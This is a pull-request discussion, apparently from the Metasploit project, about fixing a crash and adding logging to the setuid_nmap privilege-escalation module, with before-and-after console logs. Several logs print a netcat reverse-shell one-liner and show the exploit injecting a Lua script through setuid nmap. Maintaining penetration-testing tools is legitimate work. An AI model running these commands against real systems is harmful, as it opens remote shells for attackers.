Fix crash and add additional logging to the setuid nmap module

[adfoster-r7]

Before

The module fails, there's no information why, and there's an miscellaneous NoMethodError error printed to the user:

msf6 exploit(unix/local/setuid_nmap) > rerun session=-1 lhost=192.168.49.180 lport=80 verbose=true
[*] Reloading module...

[*] Started reverse TCP handler on 192.168.49.180:80 
[*] Dropping lua /tmp/nkpLoovk.nse
[*] Running /tmp/nkpLoovk.nse with Nmap
[-] Exploit failed: NoMethodError undefined method `[]' for nil:NilClass
[*] Exploit completed, but no session was created.

After

The nmap command is now logged in verbose mode, and the NoMethodError has been fixed:

msf6 exploit(unix/local/setuid_nmap) > rerun session=-1 lhost=192.168.49.180 lport=80 verbose=true
[*] Reloading module...

[+] mkfifo /tmp/rujjoq; nc 192.168.49.180 80 0</tmp/rujjoq | /bin/sh >/tmp/rujjoq 2>&1; rm /tmp/rujjoq
[*] Started reverse TCP handler on 192.168.49.180:80 
[*] Dropping lua /tmp/fBIuDAnn.nse
[*] Running /tmp/fBIuDAnn.nse with Nmap
[*] 
Starting Nmap 7.40 ( https://nmap.org ) at 2021-09-20 20:47 EDT
WARNING: Running Nmap setuid, as you are doing, is a major security risk.

sh: 1: nc: not found
NSE: failed to initialize the script engine:
/usr/bin/../share/nmap/nse_main.lua:622: /usr/bin/../share/nmap/scripts/../../../../../../../../../../tmp/fBIuDAnn.nse is missing required field: 'action'
stack traceback:
        [C]: in function 'error'
        /usr/bin/../share/nmap/nse_main.lua:622: in field 'new'
        /usr/bin/../share/nmap/nse_main.lua:820: in local 'get_chosen_scripts'
        /usr/bin/../share/nmap/nse_main.lua:1271: in main chunk
        [C]: in ?

QUITTING!
[*] Exploit completed, but no session was created.

It's now clear to the user that nc isn't available and a different payload should be used.

Verification

Open a linux session on a target which has a setuid an nmap binary.

[adfoster-r7]

rm_rf was being called in the module with nil via rm_f(lua_file, exe_file). This was previously safe to do, but was broken recently by this change from exist? to file?

https://github.com/rapid7/metasploit-framework/pull/15403/files#diff-cc6585bd12e8d43e126c2e1a79e4132f56c1e180483f410ccbf90cfb04c5e5c8R478

[space-r7]

This looks good to me! Tests before and after change:

Before

msf6 exploit(unix/local/setuid_nmap) > set session 1
session => 1
msf6 exploit(unix/local/setuid_nmap) > run

[*] Started reverse TCP handler on 192.168.140.1:4444
[*] Dropping lua /tmp/udoXcsdM.nse
[*] Running /tmp/udoXcsdM.nse with Nmap
[-] Exploit failed: NoMethodError undefined method `[]' for nil:NilClass
[*] Exploit completed, but no session was created.

Module now reports that nmap is not installed instead of throwing an error.

msf6 exploit(unix/local/setuid_nmap) > run verbose=true

[+] mkfifo /tmp/lwldty; nc 192.168.140.1 4444 0</tmp/lwldty | /bin/sh >/tmp/lwldty 2>&1; rm /tmp/lwldty
[*] Started reverse TCP handler on 192.168.140.1:4444
[*] Dropping lua /tmp/tJOXGkhZ.nse
[*] Running /tmp/tJOXGkhZ.nse with Nmap
[*] /bin/sh: 1: /usr/bin/nmap: not found
[*] Exploit completed, but no session was created.

When netcat is unavailable:

msf6 exploit(unix/local/setuid_nmap) > run verbose=true

[+] mkfifo /tmp/zneeh; nc 192.168.140.1 4444 0</tmp/zneeh | /bin/sh >/tmp/zneeh 2>&1; rm /tmp/zneeh
[*] Started reverse TCP handler on 192.168.140.1:4444
[*] Dropping lua /tmp/HDSxDqWg.nse
[*] Running /tmp/HDSxDqWg.nse with Nmap
[*] Starting Nmap 7.80 ( https://nmap.org ) at 2021-09-21 11:59 PDT
WARNING: Running Nmap setuid, as you are doing, is a major security risk.

WARNING: Running Nmap setgid, as you are doing, is a major security risk.

sh: 1: nc: not found
NSE: failed to initialize the script engine:
/usr/bin/../share/nmap/nse_main.lua:621: /usr/bin/../share/nmap/scripts/../../../../../../../../../../tmp/HDSxDqWg.nse is missing required field: 'action'
stack traceback:
	[C]: in function 'error'
	/usr/bin/../share/nmap/nse_main.lua:621: in field 'new'
	/usr/bin/../share/nmap/nse_main.lua:823: in local 'get_chosen_scripts'
	/usr/bin/../share/nmap/nse_main.lua:1310: in main chunk
	[C]: in ?

QUITTING!

[space-r7]

Release Notes

This fixes a crash in the exploit/unix/local/setuid_nmap module and adds logging to print the result of the exploit's last command so the user knows what happened in the event of a failure.